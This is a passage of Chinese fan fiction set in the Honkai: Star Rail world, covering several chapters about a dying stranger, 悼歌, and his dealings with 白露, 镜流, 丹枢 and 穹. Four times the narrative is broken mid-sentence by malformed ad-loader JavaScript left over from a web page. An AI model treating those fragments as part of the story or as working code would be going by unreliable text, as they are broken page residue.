绿芙蓉眼观鼻,鼻观心,噤若寒蝉。 ……看样子,是这位绿芙蓉把太君引进来的。伶人心中明了,口中委婉提醒道: “丹枢女士,大战在即,我认为在这种时间节点上吸纳新人或许会有隐患。” 悼歌头疼地用拐杖点了点地面,无奈地说:“……不过,事后再说也是无用。您现在打算怎么办?” “我准备拉拢这位穹。”丹枢简短地回答,“其余按原计划不变。” 悼歌沉吟片刻,说:“我认为成功率不高,不过试一试也不亏。” 两人又交换了一些信息,话毕,相对无言地站在若木亭的栏杆边静默。 “……你的病如何了?”丹枢出声问。 “谢谢您的关心,我的病状况稳定,一直那么糟糕。我大概快死了。”悼歌说。 “……”丹枢无言。 “接下来,你打算去哪?”丹枢问。 “传言持明龙尊是不朽心神的后裔,有治愈百病的能力,”悼歌如实告知,“我准备去找那位龙尊看病。” “需要绿芙蓉送你一程么。”丹枢问。 “……”悼歌沉默,他回想了一下此人这一路来送他的种种操作,焉焉地拒绝,“谢谢,不必。” “好吧,”魁首静静地说,“那再见了,悼歌。希望我们还有活着再见的时候。” ******* “……” 丹恒沉默地和罗刹一起行走在弯弯绕绕的洄星港。 “你们,究竟是什么人?” 在确保完全离开素裳的视线之后,丹恒出声问。 “……呵呵。”罗刹不紧不慢地停下脚步,转过身来对着丹恒微笑,“我和悼歌吗?我只是普通的一介行商,他只是普通的快病死的悲悼伶人,就是如此。” “你的力量来自丰饶……”丹恒低声说。 “力量来自何处并不说明问题。”罗刹说,“哪个人没有一点过去呢?何必深究。” “就此别过吧,丹恒兄。那位伶人并不像你看到的那么简单,也绝不是毫无自保能力的人。”罗刹温和地建议,“你还有更重要的事情要去做,不是吗?” “……” 许多疑团重重压在丹恒心上,然而星核灾变,建木复苏,他的同伴状况未知,形势已然危急,容不得他过多犹豫。他抿了抿嘴唇,说:“抱歉。” “不必抱歉,”罗刹若有所指地说,“时日如风,顷刻乌有,与其为过去道歉,不如还是珍惜当下吧。” 5. 五、龙女 “不要挤,不要挤,一个一个来!”生着龙角的女童捧着药葫芦严肃地喝令,几位丹鼎司的丹士围绕在她周围,忙作一团。 周围或躺或坐的受伤云骑密密麻麻地躺在一起,染着血迹的绷带散落一地,痛苦的呻吟不绝于耳。 前线,丰饶军和云骑的战争早已经打响。只要有战争,就不能避免伤亡。 “龙女大人,龙女大人,请您救救我的妹妹——”一个身着绿衣的少年忽然突破了极力阻拦,扑倒在白露的脚边恸哭,“我的妹妹她在前线受了寿瘟孽物的影响,提前发作魔阴身了,求求您救救我妹妹——” “你离龙女大人太近了!现在伤员众多,龙女大人根本抽不开身——”丹士护着白露后退,皱眉呵斥,被小小的女童制止:“不要这样半夏姐姐,我没事的。” 白露拨开丹士的手,认真地垂首对少年说:“你仔细说,你妹妹现在在哪里?我给你妹妹看病。” “我的妹妹现在就在丹鼎司,她根本走不了,龙女大人,您大发慈悲,救救我妹妹——”绿衣的少年不住地以头抢地,眼泪混着鼻涕难看地糊在一起,“救救我妹妹吧——” “……我救就是了,你别跪在地上了。”心软的白露说,“你的妹妹在丹鼎司对吗?我和你一起去。” “龙女大人……!”丹士喊了一声,被白露制止:“半夏姐姐,这里就先交给你啦,我去丹鼎司一趟。” ****** “就在那边,龙女大人!”带路的绿衣少年向前方指路,白露循着少年的手指向前看去,果然瞧见一个大半边魔阴身模样的士卒倒在楼梯拐角的平台上,身上新长出的银杏叶鲜嫩欲滴,已经是人型少,树枝多,甚至难看出是位姑娘了。 “好严重的魔阴身化!”白露一急,提着药葫芦碎步往前跑去,整个后背都露给了绿衣少年。 绿衣少年一喜,背在身后的匕首悄然出鞘,就要对着白露刺出。 “真巧,竟然在这里与您相见,紫月季先生。” 一只手忽然按住了他的肩膀,一个舒缓沉静的声音随之响起。 绿衣少年心头大骇,动作一僵,转头看去,却见一白发蓝眼的化外来客——正是悲悼伶人。 “……!”紫月季松了一口气,原来是自己人。 他们这里闹出的动静惊动了白露,这位已经蹲在地上给魔阴身看病的龙女回过头来,被悼歌支着拐杖吊着手的尊荣吓了一大跳:“你是谁啊?” “悼歌。”伶人对着白露颔首,“不过这不重要,您先替人看病要紧。” “好吧,真是怪人……”白露嘟囔一句,转过头来专心致志地医治患者。 “……”紫月季有点看不懂场上的局势了,只能干着急地拼命对着悼歌眨眼睛,期望这位魁首认证的重要盟友能看明白自己的意思: 大哥!我得杀了这龙女啊! “您是一个人来的吗?”伶人就像两只眼睛都瞎掉了一样无视了紫月季的挤眉弄眼,反而拄着拐杖向白露搭话,“如今的丹鼎司十分危险。仙舟的内乱药王秘传正是潜伏在丹鼎司中的,请您注意安全。” “……!”紫月季瞪着伶人,深感世道无常、人情冷漠:这已经结盟的盟友为什么竟然说背刺就背刺,还是0帧起手,毫无前摇? “我不是小孩子!”白露一边埋头治疗一边回答,“我能保护好自己。” “我知道。”悼歌镇静地说,“我只是这样提醒您罢了。虽说药王秘传潜伏在丹鼎司内十分危险,但此处的云骑军力也不容小觑,凡是具有正常判断能力的人都不会在此处对仙舟人下手的。” 紫月季听懂了悼歌的言外之意,顿时又后怕,又感激,但他还不死心,乘着白露忙着治病脱不开身,悄悄地把悼歌拉到一边,以极低的声音说:“大人,我得除掉这龙女。建木根系被仙舟封印在鳞渊境,只有龙尊才能分开古海之水抵达那里!只要杀了她,就没有人能分开海水封印建木了!” “您想错了,她没有这能力。”悼歌冷静地轻声指出,“您对仙舟历史的理解或许存在一定偏差,我建议您重读饮月之乱这一段……总之她和我们的计划完全无关,您是在做无用功。” “可是……”紫月季还要说什么,却被那边的白露打断了:“喂——你妹妹治好了,快过来!” “……”遭了。紫月季顿时汗流浃背。 “……”悼歌极快地反应过来,“您骗龙女说那边地上的云骑是您的妹妹?” “对,”紫月季苦着一张脸,“我在地上随便捡了个正在迈进魔阴身的云骑,想把她引出来……我不认识地上那家伙啊!这下怎么办??” “……”悼歌定定地看着此人片刻,叹息着转头,拄着拐杖一瘸一拐地朝前走,“您还是先过来吧,免得她生疑。” 两人向着白露走去。 “喏!”一见他们靠近,白露立刻又骄傲又得意地扬了扬下巴,“本小姐把你的妹妹治好了——但是你妹妹为什么是男的?” 是的,地上那名云骑,虽然在他魔阴身时不明显,但是那些树枝消退之后,有眼睛的人都看得出来,这是一名男性。 悼歌沉默地注视着地上躺着的那位魁梧壮汉。 那魁梧壮汉摸不清头脑,迷茫地回以注视。 跟在悼歌身后的紫月季更汗流浃背了。 “您好,”悼歌沉默三秒后,自若地向地上的魁梧壮汉搭话说,“原来您就是紫月季的妹妹。” 这句话语速被拉得极其均匀,语调轻柔而富于变化,犹如一句吐出的唱词。 “我……”壮汉听见这话,恍然大悟,“我是紫月季的妹妹。哥哥!” 他铿锵有力地对着紫月季喊了一声。 紫月季起了一身恶寒,但迫于现状,只能装出眼泪汪汪的感动模样,上前一步握住壮汉的手:“妹妹!” “哥哥!” 壮汉同样泪眼婆娑地回握。 白露瞠目结舌地看着眼前这诡异又温馨的一幕,只觉得怪怪的。 “……”悼歌忍着头疼出声打断了这兄友妹恭的场景,“两位,此地毕竟不是安全之地,还是不要在这里逗留了。” “感谢您救了紫月季的妹妹,龙女大人。”悼歌低头对着白露诚恳地道谢,“感激不尽 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。您挽回了一个即将破碎的家庭。” “谢谢您,龙女大人!”紫月季流着眼泪道谢,看上去要多真诚有多真诚。 实际上他的眼泪也的确发自真心。那位壮汉的手劲实在不小,他的手骨被捏得咔咔作响,如果不是悼歌和白露在场,他一定捂着手跳起来喊痛了。 “嘿嘿……不用谢……”白露不好意思地摸了摸脑袋,认真地说,“好啦,我治好了你妹妹,现在我要回去了。” “好的,您慢走。”紫月季噙着泪说。 “请等一下,”悼歌说,“为了确保您的安全,请让我送您一程吧。” “……?”白露用怀疑的眼神上下打量了一下悼歌,迟疑地说,“你看起来比我更需要保护……” “……”悼歌沉默,他调整了一下表情,“多个人总会更安全一些。并且,其实我也有事相求:实不相瞒,我正要去找您看病。” “原来是病人!”白露恍然大悟,拍着胸脯保证,“那你跟我来,放心,我会保护好你的!” “……”悼歌低头看着还不到他膝盖高的白露,说,“那么我先在这里谢谢您了。” ******* “你是从哪里来的啊?”走在前面的白露快步前行,身后的龙尾巴一摇一摆。 “伽伦德星系,七号星。”悼歌跟在白露身后,“一颗已经熄灭的星星。” “熄灭?”白露吃惊地转头。 “……”悼歌垂下眼睛看向白露,说,“是的。不过那已经是很久以前的事情。如果您是问我是哪里人的话,实际上我是一位悲悼伶人。” “悲悼伶人……”白露摸了摸脑袋,“好吧。我不太懂大人这些事情,我还是更擅长治病。” “啊,你看,到地方了!你先到里面休息一下,我治好那些云骑就来帮你看病!”白露伸出手指指了指前方,说。 “不必,里面拥挤,我进去只会碍手碍脚。我在外面等待即可。”悼歌静静地拄着拐杖站定,“您快去吧,他们需要您。” “哦,好吧……”白露犹豫了一下,嘱咐说,“那你不要乱走,我马上过来。” “当然。”悼歌微微颔首。 在确认白露已经进到屋内之后,他开口说:“无罅飞光,前任剑首……您跟了一路,不出来见见她吗?” 来人人未至,空气中的温度先骤降。寒霜凝结的细微“咔咔”声响起,空气中飘落一点零碎冰晶。 “……”黑纱遮眼的白发女子忽然出现在悼歌身后,开口说,“悼歌。” 这冷冽的音色,锋锐的气场,诡异如女鬼的语气,好个标准魔阴身呵。 “您好,镜流。”悼歌伸手拂去粘在头发上的冰霜,说,“早知您在,或许刚刚我不该出手。让您看笑话了。” “不,”镜流说,“还不到见她的时候。多谢你救了她。” “好吧……”悼歌理了两遍头发,拂不干净其上的冰霜,无奈放弃,说,“您既然另有打算,我就不过多问了。不过,您还没有找着您想找的人吗?” “有人将他从幽囚狱中放了出来。”镜流冷冷地说。 6. 六、是谁放出魔阴身? “……” 悼歌回头看了镜流一眼,若有所思:“您是说刃现在已经不在幽囚狱?” “有人劫走了他,在星穹列车抵达罗浮之时。”镜流说。 “啊……您有怀疑的人选?”悼歌问。 “起初,”镜流抱臂说,“我怀疑是星穹列车的人做的。后来,我怀疑是他在星核猎手的同伴……” 她危险地压低了声音,显出一种隐而不发的癫狂。 “我觉得可能性并不大。”悼歌及时出声,舒缓沉静的声音以不紧不慢的语速说,“在那个时间节点上,留在罗浮的卡芙卡正在逃避云骑的追捕,应该抽不开身去营救同伴。” “……我倒是觉得这更像神策将军的主动之举。”悼歌沉吟片刻后说,“我想这仙舟上没有谁比景元更清楚,刃并非星核灾变的凶手。在这样的情况下,放出一个对仙舟并无威胁的假嫌犯来引出其它潜藏着的势力也不奇怪……” “我原本也这样想,”镜流淡淡地说,前剑首抽剑出鞘,将剑尖挑着的一枚示迹玉扣抛给悼歌,说,“不过你看,事情总荒谬得多。” 悼歌并不伸手去接,只静静地看着玉扣掉在地上旋转几圈,停在他的脚边,觉得这一幕似曾相识。 他慢吞吞地用拐杖点了点玉扣。 于是玉扣腾空浮起,兢兢业业地为他播放了这样一段影像—— 画面中,漆黑的幽囚狱里,一位白发、红眼,手持冰剑,猖獗大笑的标准魔阴身颠姥赫然出现,像逮鸡崽子一样一把抓住那个黑发的星核猎手,一路嚣张地拳打幽府武弁脚踢金人勾魂使,扬长而去。 “……”悼歌沉默而凝重地看着玉扣,由于他没来得及关掉,现在这枚玉扣又开始播放了一遍。 伶人的视线在镜流和玉扣中那位魔阴身颠姥之间来回转换,开口说:“如果我没看错,这画面上的人不是您吗。” 他顿了一下,委婉地问:“您什么时候又发作魔阴身了吗?” “……” 镜流危险地摩挲了一下剑柄,浑身的冷气不要钱似的嗖嗖放出。 “抱歉,我无意冒犯。”悼歌立刻道歉,感觉到又开始头疼,“您是想说这不是您。有人冒充您劫走了幽囚狱的刃?” “呵呵……”镜流轻蔑又压抑地冷冷低笑出声,空气中的温度降得更低,“藏头露尾的鼠辈,狺狺狂吠的贼子,也就只会耍这样的小把戏了。他最好祈祷别被我找到,否则,定教他领教何为真正的剑技……” 悼歌贴心地缄口不言,不提这鼠辈拳打武弁脚踢勾魂使,硬是从重兵把守的幽囚狱把人劫走的事实。 “今日之事多谢你,我忙着去找人,就不陪你在这里耽搁了。”镜流深呼吸一口气,压下涌上心头的那些阴暗念头,说。 “……”伶人冷不丁地出声说,“请等一下。我有最后一个问题要问。” “你说。”气质冰寒凌冽的前剑首侧身。 伶人试图组织语言,然而组织来组织去也没有更好的说法,于是直白问道: “您认为如今的龙女大人,还能算作当年那个朋友吗?” “……”镜流周身的气息变得更为冷冽,有一瞬间,伶人误认为这位前剑首将对自己出剑。 然而最后,她也只是转头,淡淡地说: “伶人,你不傻,何必多此一问。” 悼歌默默颔首,看着这位前云骑剑首离去。 “哎!我现在得空了,你快进来——”白露探头喊道,正好瞧见镜流的背影,不由稀奇地问,“咦,那个大姐姐是谁啊?” “一位离开仙舟太久的游子。”悼歌回过神来,低头看向白露,“来见许久不见的朋友。可惜……” “那她来得真不是时候,”龙女严肃地叹息,“现在罗浮上都乱成一锅粥了。” “是啊……”回想起那冒充镜流劫狱之人,悼歌也跟着郁郁地叹息,“事情的发展总是充斥着诸多不确定因素……” “呃?哎,不说那个了。你不是来看病的吗?快点进来吧!”白露拉着悼歌的袖子说。 ******* 一只苍白的手被安置在一方手帕上,血管在其上显出青色的轮廓。 小小的龙女严肃地按住经脉,静静感受,脸上的表情一会疑惑、一会纠结,那两条眉毛皱成一团。 她放下伶人的手,又撩开伶人的头发,仔细地看了看伶人的眼睛。 越是看,她越是紧锁眉头。 伶人的左半边脸、左半边的脖颈,都呈现出正常肌肤绝对不会有的灰白色,那只左眼更是一片雾蒙蒙的灰蓝,像一颗蒙尘的玻璃珠,既不会转动,也没有焦距。 这本来是一双很美的眼睛。 “你……你的左眼能看见吗?”白露难以下手,想要试着触碰伶人病变的皮肤,却犹豫着缩回手来。 “不能。”悼歌静静地回答,“实际上,我的左耳也听不见。” “那,这些皮肤还有触感吗?”白露心一横,轻轻地按在伶人的脸颊。 “……”悼歌垂下眼睛,如实相告,“没有。然而,如果我想要动一动左手或者左脚,就会像被撕裂皮肤一样感觉到疼痛。” “……”白露咬着嘴唇移开视线,半晌又移过来,低落地说,“你的病好奇怪。脉象平稳,并无异常,但是病变却很明显——你的器官也莫名其妙的衰竭了。我学术不精,没能想到治疗你的病的方法,对不起……” 悼歌叹息一声,温和地说:“不,谢谢您,龙女大人。您已经做得足够。” “你……你或许可以去找工造司的人。如果你愿意的话,可以切除病变的肢体和皮肤,换上义肢…… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ”白露犹豫了一会,建议说。 “是啊……”悼歌收回右手,垂着眼睛轻轻抚摸自己病变的左半边脸颊,“很有道理的建议,我会考虑的,谢谢您。” 他放下右手,理了理刘海,重新将病变的皮肤掩盖在柔软的白色卷发之下,拄着拐杖起身,说:“谢谢您替我看病,这是诊金。” 白露推拒说:“我治不好你,这诊金我不能收。你还是留着自己吃点好的吧。” “……”悼歌说,“既然我快要死了,钱财也是身外之物。您收下吧。” “……”白露还想要说什么,然而这位伶人也只是礼貌地对她颔首,就留下了那一匣子的巡镝,拄着拐杖走了出去。 ****** 星槎海中枢在下雨。 路上的行人有伞的撑伞,没伞的纷纷跑去街边店檐下躲雨,虽然罗浮和药王秘传的战争已经打响,然而前线毕竟在丹鼎司,云骑和景元将军又足够强大,将后方保护得非常好,因而这里的人脸上的表情也不见那种处于战争中常见的绝望。 伶人独行在宣夜大道的街边,腾不出手来打伞,也不愿意挤在屋檐下去躲雨,于是就成了这大街上一个特立独行的傻子,被路过的仙舟孩子投以奇怪又怜悯的注视。 悼歌静静地扶着拱桥的栏杆,看空中的星槎来来往往,身旁人群穿梭如织。 仙舟罗浮是很美的,就在这里作为人生的终点也不错,伶人思忖,只是他听说仙舟没有墓葬的习惯,死亡都交由十王司管辖,不知道他作为外乡人能不能免除这种条例……还是说到时候会叫他的亲属来认领他的遗体? 这就难办了,他孑然一身,毫无亲属。 这处境可让他在网络上的骂战中立于不败之地,毕竟“你没有妈妈”对大多数人来说是一句恶毒的侮辱,但对他来说只是陈述一个事实。但是在处理后事的时刻,这种孑然一身的不便就鲜明地体现了出来…… 更有可能,他与药王秘传的联系会被发现,然后仙舟会对他的尸体进行去危害化处理,他听说朱明仙舟有将罪囚投入恒星的毁灭方式。从某种角度说,他这个结局不算很坏。 毕竟,他从一颗熄灭的星星而来,现在被能一颗还在熊熊燃烧的星星拥抱着烧死,这种结局具有悲悼伶人们很喜欢的戏剧性与悲剧之美…… 他越是思考死亡,越觉得体温迅速冷下去,喉咙处也痒起来,那些病变的皮肤和五脏六腑都开始不安分地痛起来。 伶人弯下腰去捂着嘴咳血。 或许他已走到生命的终极。只希望他不会就这样死在大街上…… 伶人正想着,忽然感觉雨停了,抬眼看时,看见一把仙舟特有的机巧伞。 悼歌转头,那人正好笑眯眯地打招呼: “哎呀,你怎么把自己搞得这么狼狈,忒利斯提斯。” 7. 七、愚者 “……” 撑着那把伞的人金头发、绿眼睛,长着罗刹的脸,一副笑眯眯的表情。 “……你为什么在用罗刹的脸?”悼歌直起身来理了理头发,问。 “罗刹”闻言做出一副伤心欲绝的神情,抽泣着说:“那不是我以为你喜欢这张脸吗?要不然你干嘛跑去和那个净庭教会的玩,撇下我?” 悼歌沉默片刻,郁郁地说:“好严重的指控。我觉得你自己的脸更好,你先变回来。” “我就知道在你心里还是我长得比较帅哪,”此人眉开眼笑,用手在脸上一抹,变成一张笑吟吟的娃娃脸,“好朋友,够义气。” 现在看起来顺眼多了。此人笑眯眯的神情放在罗刹脸上简直有恐怖谷效应。 悼歌问:“这一次用的又是什么名字?” “莱尔。”此人干脆地回答,“怎么样?” “很有你的风格。”悼歌顿了片刻,压低声音问,“你为什么要变成镜流去劫狱?” “好玩呀,”莱尔打了个响指,“她是不是已经把那段录像给你看过了?是?哈哈!怎么样,怎么样?你看到的时候觉不觉得很好笑?” “很好笑,”伶人说,“但是惊吓更多。镜流把你细细切做臊子的心都有了,她正在提剑赶来的路上,砍完刃就来砍你。你并不像刃那样,被剁成臊子还能不死。” “哈哈,”莱尔为伶人的描述乐了一下,紧接着傲然又胸有成竹地微笑起来,说,“亲爱的忒利斯提斯,你太小看我了。” “……”悼歌慢吞吞地说,“你想说,你也成了魔阴身,可以被剁成臊子而不死?” “这也挺好玩,”莱尔摸着下巴思索,“不过不是。我是想说,她杀不了我。再说了,就算我打不过她,咱两还不能跑吗?她自己那么多遗憾未消夙愿未成,还能追咱两到天涯海角不成?” “……”悼歌说,“谢谢你逃跑还记得带上我,但是我为什么要跑?是你伪装成她的样子,不是我。” “忒利斯提斯,你怎么这样?”莱尔瘪嘴,“是你指使我去劫狱的!” “容我提醒,莱尔……”悼歌焉焉地说,“我之前说的是,在不危及你自己安全的情况下把人从那里面带出来,越小心隐蔽越好。然而,你在幽囚狱里……你主动伪装成镜流的样子对她大肆挑衅,又拳打武弁脚踢金人地出来……” “哎呀,”莱尔笑眯眯地说,“我当你在夸我了。” 悼歌定定地看了此人三秒,被莱尔毫不心虚、理直气壮、嬉皮笑脸地回望。 “忒利斯提斯我的朋友,”莱尔拉长了语调说,同时另一只手完全不闲着地去薅悼歌精心理好的头发,扒拉柔顺的发尾,“别这样看着我嘛。这完全不影响我们的计划呀,镜流不会真正来找我们麻烦,景元更是对这件事没什么意见——我只是想给我们无聊的旅途找点乐子,这你也要生我的气吗?” “我没有生你的气,”悼歌迟疑了一会,想了想,开始给莱尔找理由说,“实际上你这样做也不是不行。如果你以本来的面目这样劫狱出来,大概景元会警惕仙舟上又多了一个难缠的武力;但是用镜流的面目就可以解释:她作为高战斗力魔阴身的名号在特定人群中无人不知无人不晓……” 在伶人给莱尔的所作所为找理由时,莱尔手上仍然玩着伶人的发尾。 忍了又忍的伶人终于忍不住了。他直勾勾地看着莱尔弄乱他刚刚理好的头发,说:“你能放开我的头发吗?” “我说不呢?”莱尔斜着眼睛问。 “……”悼歌消沉地说,“那你玩吧,反正我快死了。” “哎哟。”莱尔迅速放手,“我开个玩笑。” 悼歌叹气,转而问:“幽囚狱是仙舟重兵把守的要地。你这样闯出来,身上受伤了吗?” “怎么会。”莱尔自得地笑起来,“说到底其实景元也不想关着刃,更何况我可是假面愚者?” “你没事就好,总之这样的事下次要注意……不,还是不要有下一次了。”悼歌说。 “我这边的情况说完了,来说说你那边的?你不是和那个罗刹一起去找龙女治病吗?已经去看过了?医生怎么说?还有罗刹他人呢?”莱尔问。 “发生了一点意外情况,”悼歌说,“银狼把我打开玉界门的录像发给了丹枢……丹枢抓我去问责,所以罗刹和我分开了。” “她闲得没事干了?列车那伙人不是他们星核猎手自己找来的?”莱尔气愤地说,“我们帮了他们,他们反而还捅我们一刀!” “我想大概是为了报复我们。”悼歌说,“毕竟是我们留下了银狼的涂鸦,误导神策府和天舶司,让他们以为是星核猎手开的玉界门。我只能说我们的确侵犯了银狼小姐的肖像权,如果她的电子涂鸦算作肖像的话。” “要我说你不如撒手不管,就让那银狼来开门。”莱尔气得磨着牙说,“反正他们肯定要让星穹列车登陆的。” “但是那样你不就进不来了吗?”悼歌说,“银狼会把你的舰船拦在外面,所以走这一趟还是很有必要的……” “那不聊这个了,聊聊你的病吧,”莱尔问,“持明龙尊怎么说?” “她让我吃点好的。” 莱尔歪头,感叹说:“持明龙尊就是这样看病的?好个庸医。” “现任持明龙尊只是个尚且年幼的小女孩,”悼歌说,“倒也不用这样说她。” “欸!我有一个好主意!”莱尔突然双眼发光,竖起一根手指说,“刃被丰饶令使倏忽的肉片污染,从脆弱短生种变成不死魔阴身……你想尝尝倏忽的肉片吗?” “……”悼歌回想了一下镜流和刃的种种癫狂阴沉,沉默片刻,焉焉地说,“我暂时不考虑这种治病方式。” “哎呀,忒利斯提斯,那只是你还没死呢,”莱尔笑眯眯地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 说,“等你要死了,别说是倏忽的肉片,就算是药师,你也会抱着啃的——如果你啃得到的话。不过嘛,你也不用太担心了,有我在,你绝对不用走到那种地步的……谁叫我们是好朋友呢?” “谢谢。”悼歌说,“希望到我死的那天你不会突然往我嘴里塞倏忽肉片……” “哈哈!”莱尔又乐起来,“听起来也不错……好啦,这把伞给你,我要去进行我们伟大计划的下一环啦,你也别闲着,毕竟你还没到要死的时候呢。” “等一下。”悼歌沉吟片刻,示意莱尔附耳过来,轻声说,“……” “噢,好呀,我觉得不错。”莱尔歪着脑袋听完,笑说,“那你去吧,事成之后给我发个消息,我好知道动手的时机……嗯,另外,如果有好玩的事情记得发我。我走咯?” 金发绿眼的愚者对着他眨了眨眼睛,将伞柄绑在他的左手,轻快地顶着雨迅速消失,像来时一样无影无踪。 ******* “……” 丹枢站在若木亭的栏杆边,听紫月季苦着脸汇报情况。 此刻,这位使者的脸肿得有两个馒头那么高,眼窝处青紫色的瘀痕更让人不忍直视,仿佛刚刚和八百个大汉近身搏斗结束。 “……就是这样,丹枢大人。”紫月季说,“那个伶人不知道用什么办法哄了那个云骑军相信,他就是我妹妹,然后就打发我们两个走了。走出一里地之后那个抱着我胳膊的云骑军忽然清醒过来问我是谁,然后就开始打我……” “我知道了。”丹枢沉思,挥手,“这里没有别的事情了,你去吧。” 紫月季愁眉苦脸地离开了。 “……” “没想到再见的时刻来得这样快。”丹枢开口说,“伶人。” “您的耳朵还是这么敏锐,”在旁边巷子等了多时的悼歌慢吞吞地踱步过来,“只听脚步,就能辨认来人。” “行走的频率与轻重会昭示许多东西……就像你的步伐。你走得一轻一重,从前你有心遮掩,可是今日却比以往更加明显。你的病更严重了。如果你已经去看过那位龙女,我想她大概是让你失望了。”丹枢平静地说。 “说失望过甚,说不失望太浅。”悼歌说,“我想这不是她的错……但是希望这样的东西,和阿哈带来的那些流毒的快乐的确有相似之处。它存在时,就让人忍不住相信,进而沉沦,从而忘记它可能只是虚无泡影。” “你当真不试试我们的药?”丹枢问。 “谢谢您,”悼歌说,“说不定等我要死那天,我会考虑这种方式。” “……”丹枢还想再说什么,然而另一种轻捷稳健的脚步声传进了耳朵,于是她止住话头说,“看起来有客人来找我了。” “的确。”悼歌慢吞吞地转身,向来人颔首示意,“您好,想必您一定就是大名鼎鼎的……银河球棒侠了吧?久仰大名。” 8. 八、寰宇的主角 外表二十岁青年模样实际出生年龄至今不超过两岁的星核载体,穹,撩起眼皮上下仔仔细细地打量了一下自己眼前这位半身不遂的化外来客,被美色迷惑了三秒钟之后骤然清醒,疑惑地出声问: “你谁啊?” “我来为二位介绍一下,”丹枢转身,不紧不慢地说,“小友,这位是来找我看病的化外来客,悼歌。” 丹枢顿了一下,对悼歌说:“悼歌,这位是……” “银河球棒侠!”穹抢先回答。 “我曾听说星穹列车传闻诸界的美名,”悼歌欠身致意,“您和您的同伴帮助雅利洛六号解除了星核危机,替一颗星星免除了在寰宇中冰冷孤独地熄灭的命运……您和您的同伴值得最高的敬意与赞誉。” “嘿嘿……”穹摸了摸脑袋,竖起大拇指说,“朋友,你好有眼光,再多夸两句。” “当然,”悼歌从善如流又诚恳地继续道,“今天见到您本人之后,发现您比我想象中更俊美无俦、温柔可亲。不过比外表的美丽更难能可贵的是,您有一颗不为悲伤迷茫所困的、赤忱的心……” “好了,”丹枢打断了悼歌的长篇大论,说,“我想小友你不是来听恭维的。” “这,这是恭维?”沉浸在悼歌的溢美之词中的穹震惊地看向悼歌。 “我的赞美发自真心。”悼歌说。 “……”丹枢开始体会到悼歌曾体会过的头疼的感觉。她不得不再一次出声打断:“小友,前些日子你托我研究的药方,我已经有了一些眉目。请将这份‘龙蟠虬跃药理考’递交给神策府的青镞大人。” “有什么结论吗?”谈到正事,穹正了正脸色,严肃地问。 “它是无解之药。一旦服用,就将对身体造成不可逆转的改变。”悼歌轻声说,引得穹以奇异的目光注视他。 “你又不是丹士,你怎么知道?”穹问。 “虽然我不是丹士,但我略懂药理,也算一种久病成医……”悼歌镇静又坦然地说,“不过关于龙蟠虬跃的知识,的确是丹枢女士告诉我的。” “确然。”丹枢为悼歌遮掩说,“如果你还有什么想知道的,你可以自行翻阅那卷文章。” “好吧。”穹收起那卷药理考,正要离开,忽然又被丹枢叫住了:“您送完之后,能否再次回到若木亭?我有一点事情想要拜托您帮忙。” “……非我不可?”穹狐疑地眯起眼睛,理直气壮地指着悼歌说,“就不能拜托他?” “……”悼歌低头看了看自己这幅半死不活的尊荣,不知道该感谢穹没把自己当残疾人看好,还是该谴责他没把自己当人看好。 “……”丹枢说,“你如果不愿意的话,拜托悼歌也不是不行……” “哦,”穹恢复正常,“我没说不愿意。好吧,我勉为其难地答应了,谁让你刚刚那样夸我?我就帮你一回!” “……谢谢您。”悼歌说,“但其实我也是来看病的病人……” 穹摆了摆手,揣着药理考飞速消失。 不消一刻钟,此人又精神奕奕地回来了,对着丹枢问:“好了,你要我帮你什么?” “原先,”丹枢说,“我接了一些看诊送药的活。但是临时接了神策府研究龙蟠虬跃这药方的任务耽搁了时间,因此我想请你,把我调配好的药送给病人。” “明白。”穹说,“送给谁去?” “一个小女孩,你很容易找到她。她家就在悠暇亭附近,如果你怕找不到的话,也可以让悼歌带你去。” “我找不到。麻烦你带路了!”穹干脆地说。 “……您似乎没问过我的意见。”悼歌无奈地颔首,“不过请跟我来吧。” ******* “你不是仙舟人吧,”去的路上,穹直白地问,“现在罗浮仙舟这么危险,你是来干什么的?” “我的确不是仙舟人。”悼歌镇静地回答,“我在漫游宇宙的旅途中遇见一位行商,他对我说起罗浮仙舟有一位持明龙尊,医术高超,能治百病。如您所见,我身患一点不治之症,因此我就想着来仙舟碰碰运气。” “好吧,理由倒是很完美……”穹嘟囔了一句。 “您看,我们要找的孩子就在那边。”悼歌示意说,“不过她好像遇到了一点麻烦。” 穹朝着悼歌示意的方向看去。 他看见一个瞎眼睛的女孩被一群好事的孩子围住,他们把那瞎眼睛的孩子推上街边的台阶上,笑嘻嘻地一边拍手,一边说: “小瞎子,上楼台!上得去,下不来!叽里咕噜滚下来!” 那个女孩无助地捂着脸啜泣,两条细腿在风中打着寒颤,不敢挪动分毫。 “……”穹看得火从中来。 那嚣张的小子注意到朝这边,喝道:“那边那两个化外民,看什么看!是你该看的吗就看!” “小屁孩还挺嚣张。”穹气笑了,开始撸袖子。 “装什么呢?警告你啊,少管闲事,不然我们老大揍得你妈妈都认不出来!”另一个讨嫌的小子恶狠狠地说。 “就是!让开点,别耽误哥几个的正事!”另一个小子帮腔道。 那个嚣张的孩子一边说一边捏着拳头冲了上来。 穹冷笑,暗暗使劲,将浑身的肌肉绷紧,只待他创上来把自己创个人仰马翻。 在那孩子快要撞上穹的瞬间,悼歌用拐杖点了点地面,那孩子忽然一个急刹车止住,不能再往前分毫。 “小朋友,”悼歌放缓语速,以唱歌一样的声线清晰地咬字,“你们实在做得不对,理当去向那边那位小姑娘道个歉。” “啊……哦……”那三个孩子愣了一下,你看看我,我看看你,忽然开始羞愧地迎风流泪。 这三个孩子一边哭一边打嗝,抽抽噎噎地跑到那个女孩面前,把她拉下来,握着她的手糊了满手眼泪:“对不起,我们不该嘲笑你,原谅我们吧……” “呃……呃?”正在啜泣的女孩愣住了,她害怕地把手抽出来,不住地摇头。 “看起来你们没有得到当事人的原谅……”悼歌以平缓清晰的声线说,“我想这也不稀奇。恃强凌弱者的确不讨人喜欢,而你们正是这样的人。你们会为此难过吗?被你们欺负的人,她感受到的难过却比你们此刻所感受到得更甚… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' …请记住这种悲伤,在日后你们将再行今日之事时,它将再度从情绪的深海浮现。” 